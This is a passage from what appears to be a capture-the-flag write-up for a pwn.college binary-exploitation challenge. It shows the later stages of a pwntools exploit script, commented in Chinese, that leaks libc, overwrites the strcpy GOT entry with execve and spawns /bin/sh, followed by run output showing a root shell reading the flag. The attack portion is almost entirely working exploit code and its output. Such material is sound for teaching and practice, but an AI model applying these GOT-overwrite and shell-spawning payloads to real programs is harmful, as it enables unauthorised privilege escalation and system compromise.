dest_safe = buf_addr

payload_libc = flat({
0: b"X",
24: p32(0),
28: p64(printf_got),
36: p64(dest_safe)
})
p.send(payload_libc)

p.recvuntil(b"Correct answer: ")
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym['printf']
log.info(f"[+] Libc Leaked! base address: {hex(libc.address)}")

# --- 阶段四:覆写 strcpy GOT 为 execve ---
p.recvuntil(b"1: ")

execve_addr = libc.sym['execve']
strcpy_got = elf.got['strcpy']
# 将 execve 的地址放在 84 字节缓冲区的最后面
src_execve_ptr = buf_addr + 0x14 + 44

payload_got = flat({
0: b"X",
24: p32(1),
28: p64(src_execve_ptr),
36: p64(strcpy_got),
44: p64(execve_addr)
})
p.send(payload_got)

# --- 阶段五:execve 触发 ---
# 此时,调用 strcpy 等同于调用 execve。
p.recvuntil(b"2: ")

# 我们只有 84 (0x54) 字节的写入空间
# 把指针控制变量放在中间,把字符串和数组放在尾部
input_start = buf_addr + 0x14
binsh_str = input_start + 44
p_str = input_start + 52
argv_arr = input_start + 60

payload_execve = flat({
0: b"X", # 首字节强制清零
24: p32(2),
28: p64(argv_arr), # src -> 作为 rsi (argv) 和 rdx (envp) 传入 execve
36: p64(binsh_str), # dest -> 作为 rdi (path) 传入 execve
44: b"/bin/sh\x00",
52: b"-p\x00\x00\x00\x00\x00\x00",
60: p64(binsh_str), # argv[0]
68: p64(p_str), # argv[1]
76: p64(0) # argv[2] (NULL 结尾)
})
p.send(payload_execve)

log.success("Execve payload")
p.interactive()
return True

if __name__ == "__main__":
while not run_exploit():
pass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hacker@program-security~make-it-fizzbuzz:~$ python a.py
[*] '/challenge/make-it-fizbuzz'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/challenge/make-it-fizbuzz': pid 261
[*] [+] Stack Leaked! buf address: 0x7ffe1475c400
[*] [+] PIE Leaked! base address: 0x5feb4a201000
[*] [+] Libc Leaked! base address: 0x7d053c9a7000
[+] Execve payload triggered! You now have a pure Root Shell. Don't ruin it.
[*] Switching to interactive mode
You entered: Xaaabaaacaaadaaaeaaafaaa\x02
$ cat /flag
pwn.college{*********************************************}
$
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE